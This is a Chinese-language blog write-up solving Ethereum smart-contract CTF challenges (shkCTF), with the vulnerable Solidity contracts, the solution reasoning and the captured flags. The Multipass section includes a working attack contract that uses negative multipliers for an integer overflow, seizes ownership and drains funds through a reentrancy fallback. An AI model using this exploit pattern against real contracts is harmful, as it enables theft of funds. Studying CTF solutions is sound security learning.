近日空闲下来,尝试复现下ctf合约部分的一些题解,全当复习下以前所学知识
Ethereum
截止目前:题目链接
Warmup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| pragma solidity = 0.4.25;
contract Warmup { bool public locked; constructor() public payable { locked = true; } function unlock() public payable { require(msg.value == 0.005 ether); locked = false; } function withdraw() public payable { require(!locked); msg.sender.call.value(address(this).balance)(); } }
|
题目很简单,只要发送0.005 ether到目的合约就可以得到flag了
Logic
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pragma solidity = 0.4.25;
contract Logic { address public owner; bytes32 private passphrase = "th3 fl4g 1s n0t h3r3"; constructor() public payable { owner = msg.sender; } function withdraw() public { require(msg.sender == owner); msg.sender.call.value(address(this).balance)(); }
function claim(bytes32 _secret) public payable { require(msg.value == 0.05 ether && _secret == passphrase); owner = msg.sender; } }
|
第二题则是发送0.05 ether和th3 fl4g 1s n0t h3r3字符串的bytes32值,使用如下函数转换下,
1 2 3 4 5 6 7 8 9 10 11 12
| contract string_test { function stringToBytes32(string memory source) public pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; }
assembly { result := mload(add(source, 32)) } } }
|
或者直接翻阅etherscan上的记录
get flag : shkCTF{sh4m3_0n_y0u_l1ttl3_byt3_f0f6145540ea8c6ee8067c}
Guessing
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pragma solidity = 0.4.25;
contract Guessing { address public owner; bytes32 private passphrase; constructor(bytes32 _passphrase) public payable { owner = msg.sender; passphrase = keccak256(abi.encodePacked(_passphrase)); } function withdraw() public { require(msg.sender == owner); msg.sender.call.value(address(this).balance)(); }
function claim(bytes32 _secret) public payable { require(keccak256(abi.encodePacked(_secret)) == passphrase); owner = msg.sender; } }
|
本题未直接给出passphrase值,但可以直接翻阅etherscan查看历史的传参记录,转换成string看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| contract bytes32ToString { function bytes32ToString(bytes32 x) constant returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } }
|
得到passphrase值,但本道传入为bytes32,所以直接填0x49276d2070723374747920737572332079307520627275743366307263336421就行
get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}
Multipass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| pragma solidity = 0.4.25;
contract Multipass { address public owner; uint256 public money; mapping(address => int256) public contributions; bool public withdrawn; constructor() public payable { contributions[msg.sender] = int256(msg.value * 900000000000000000000); owner = msg.sender; money = msg.value; withdrawn = false; } function gift() public payable { require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether); contributions[msg.sender] = int256(msg.value) * 10; money += msg.value; } function takeSomeMoney() public { require(msg.sender == owner && withdrawn == false); uint256 someMoney = money/20; if(msg.sender.call.value(someMoney)()){ money -= someMoney; } withdrawn = true; } function contribute(int256 _factor) public { require(contributions[msg.sender] != 0 && _factor < 10); contributions[msg.sender] *= _factor; } function claimContract() public { require(contributions[msg.sender] > contributions[owner]); owner = msg.sender; } }
|
require(msg.sender == owner && withdrawn == false);
需要满足这2个条件才能拿到flag
这2个条件都在默认创建合约那,再进一步可以通过claimContract来改变合约主人-》那先要充钱需要钱包大于合约主人才能替换
此时我们看这里 contribute,传入factor小于10但没限制要大于0,
require(contributions[msg.sender] != 0 && _factor < 10);
结合简单粗暴的将钱包值与输入值相乘,也就是说我们传入2次负值,最后乘成一个超大值来大过合约主。
contributions[msg.sender] *= _factor;
最后还要匿名函数回调下,一直重入让钱包数归零
1 2 3 4
| if(msg.sender.call.value(someMoney)()){ money -= someMoney; } withdrawn = true;
|
按着上述思路,给出exp,(ps:start的时候注意填ether Value为0.00005,还有速度太感人了。还是自己手动加速gas来得快
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| contract attack { address attacker; address victim; function attack() payable {attacker = msg.sender;} function start(address _target) payable { victim = _target; victim.call.value(0.00005 ether)(bytes4(keccak256("gift()"))); victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000); victim.call(bytes4(keccak256("contribute(int256)")), -1000000000000); victim.call(bytes4(keccak256("claimContract()"))); victim.call(bytes4(keccak256("takeSomeMoney()"))); } function remove() { if (msg.sender == attacker){ selfdestruct(attacker); } } function () payable { if (msg.sender == victim) { victim.call(bytes4(keccak256("takeSomeMoney()"))); } } }
|
get flag:shkCTF{bl0ckch41n_c0uld_b3_h3lpfull_05b12d40c473800270981b}